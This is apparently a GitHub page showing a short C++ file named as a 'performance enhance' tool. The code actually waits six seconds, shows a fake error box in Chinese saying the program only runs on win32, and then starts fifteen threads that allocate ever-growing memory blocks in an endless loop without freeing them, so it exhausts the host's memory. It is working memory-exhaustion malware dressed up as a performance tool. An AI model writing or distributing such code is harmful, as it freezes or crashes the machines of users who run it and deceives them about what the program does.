-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathblue3.0 performence_enhance.cpp
56 lines (49 loc) · 1.09 KB
/
blue3.0 performence_enhance.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <Windows.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <thread>
using namespace std;
void threadFunction() {
int i = 1000;
while(true){
long long *var = (long long*)malloc(sizeof(long long)*i);
i++;
}
}
int main(void)
{
Sleep(6000);
MessageBox(NULL,TEXT("该程序只能在win32中运行"),TEXT("错误"),MB_OK |MB_ICONWARNING);
thread t(threadFunction);
thread a(threadFunction);
thread b(threadFunction);
thread c(threadFunction);
thread d(threadFunction);
thread e(threadFunction);
thread f(threadFunction);
thread g(threadFunction);
thread h(threadFunction);
thread i(threadFunction);
thread j(threadFunction);
thread k(threadFunction);
thread l(threadFunction);
thread m(threadFunction);
thread n(threadFunction);
t.join();
a.join();
b.join();
c.join();
d.join();
e.join();
f.join();
g.join();
h.join();
i.join();
j.join();
k.join();
l.join();
m.join();
n.join();
return 0;
}